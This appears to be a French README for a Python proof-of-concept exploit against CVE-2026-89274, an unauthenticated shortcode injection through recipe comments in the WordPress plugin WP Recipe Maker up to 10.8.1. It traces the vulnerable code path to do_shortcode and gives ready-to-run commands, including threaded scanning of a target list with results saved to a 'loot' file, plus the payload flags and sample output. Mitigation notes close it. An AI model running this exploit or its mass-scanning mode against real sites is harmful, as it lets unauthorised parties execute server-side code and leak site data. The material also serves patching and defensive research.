
PoC d'exploitation en Python pour CVE-2026-89274, une vulnérabilité d'exécution arbitraire de shortcode non authentifiée dans WordPress WP Recipe Maker <= 10.8.1 via les commentaires de recettes.
Poloss : @WPEF0
Proof-of-Concept exploit pour CVE-2026-89274 — vulnérabilité Unauthenticated Arbitrary Shortcode Execution dans le plugin WordPress WP Recipe Maker version ≤ 10.8.1.
⚠️ AVERTISSEMENT JURIDIQUE & ÉTHIQUE Ce script est fourni uniquement pour la recherche en sécurité dans un environnement local (localhost/lab) et ne doit pas être utilisé contre des systèmes qui ne vous appartiennent pas ou sans autorisation écrite. L'auteur décline toute responsabilité en cas d'utilisation abusive. L'utilisation contre des systèmes tiers sans autorisation peut enfreindre la loi pénale.
| Champ | Valeur |
|---|
| CVE ID | CVE-2026-89274 |
| Cible | WP Recipe Maker (wp-recipe-maker) ≤ 10.8.1 |
| Classe | Code Injection (CWE-94) — Arbitrary Shortcode Execution |
| CVSS v3.1 | 9.1 Critical (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N) |
| Vecteur | Contenu de commentaire de recette (non authentifié) |
| Sink | do_shortcode() dans class-wprm-metadata.php |
| Impact | Exécution de shortcode côté serveur → fuite de données via JSON-LD public |
| Auteur | Poloss |
includes/public/class-wprm-metadata.php :: sanitize_metadata()
Vulnérable (10.8.1) :
$sanitized = strip_shortcodes( wp_strip_all_tags( do_shortcode( $metadata ) ) );
do_shortcode() exécute d'abord le shortcode, puis strip_shortcodes() ne nettoie que sa sortie — aucune protection.
Corrigé (10.8.4) :
$sanitized = strip_shortcodes( wp_strip_all_tags(
WPRM_Instacart::do_shortcode_safe( $metadata ) ) );
comment_content (commentaire public sur un post de recette)
└─> reviewBody (class-wprm-metadata.php:1017)
└─> $metadata['review'][] (line 1028)
└─> sanitize_metadata( get_metadata( $recipe ) ) (line 374)
└─> do_shortcode( $reviewBody ) ← SINK D'EXÉCUTION
└─> wp_json_encode() vers <script type="application/ld+json">
wprm-comment-rating (rempli via le formulaire de commentaire).git clone <repo-url>
cd <repo>
python3 -m venv .venv
source .venv/bin/activate # Windows: .venv\Scripts\activate
# Aucune dépendance externe — uniquement la bibliothèque standard Python 3.
Prérequis : Python 3.8+.
python3 CVE-2026-89274.py -u http://localhost:8080 -p 10 \
--shortcode '[wprm-recipe-name id=11]' \
--marker 'PoC Recipe'
Format targets.txt (une par ligne, url[,post_id]) :
http://lab1.local,10
http://lab2.local,25
# les lignes de commentaire sont ignorées
http://lab3.local,7
python3 CVE-2026-89274.py -f targets.txt -t 10 -o loot.json
| Flag | Défaut | Description |
|---|---|---|
-u, --url | — | URL cible unique |
-f, --file | — | Fichier de liste de cibles (url[,post_id] par ligne) |
-p, --post | 10 | ID du post contenant la recette |
-t, --threads | 5 | Nombre de threads workers |
-o, --output | cve-2026-89274-loot.json | Fichier de sortie JSON |
--shortcode | [wprm-recipe-name id=11] | Payload shortcode exécuté |
--marker | PoC Recipe | Sous-chaîne de preuve d'exécution dans reviewBody |
--rating | 5 | Valeur de notation WPRM |
--timeout | 25 | Timeout par requête (secondes) |
<script type="application/ld+json">, collecte des reviewBody./wp-comments-post.php avec le payload + le champ wprm-comment-rating.--marker apparaît dans reviewBody → EXPLOITED. Sinon → PENDING_APPROVAL.| Statut | Signification |
|---|---|
EXPLOITED | Shortcode exécuté & sortie divulguée dans le JSON-LD public |
PENDING_APPROVAL | Commentaire envoyé, en attente d'approbation du modérateur |
FAIL | Page inaccessible / commentaire rejeté / erreur |
[
{
"target": "http://localhost:8080",
"post_id": 10,
"shortcode": "[wprm-recipe-name id=11]",
"marker": "PoC Recipe",
"author": "poc1716000000",
"review_bodies": ["PoC Recipe"],
"status": "EXPLOITED",
"evidence": "PoC Recipe",
"note": "shortcode executed server-side; output leaked into public JSON-LD reviewBody",
"elapsed": 9.12
}
]
comment_moderation = 1 et auditer rigoureusement les commentaires.[...]) dans les champs de commentaire..
├── CVE-2026-89274.py # exploit principal
└── README.md # ce document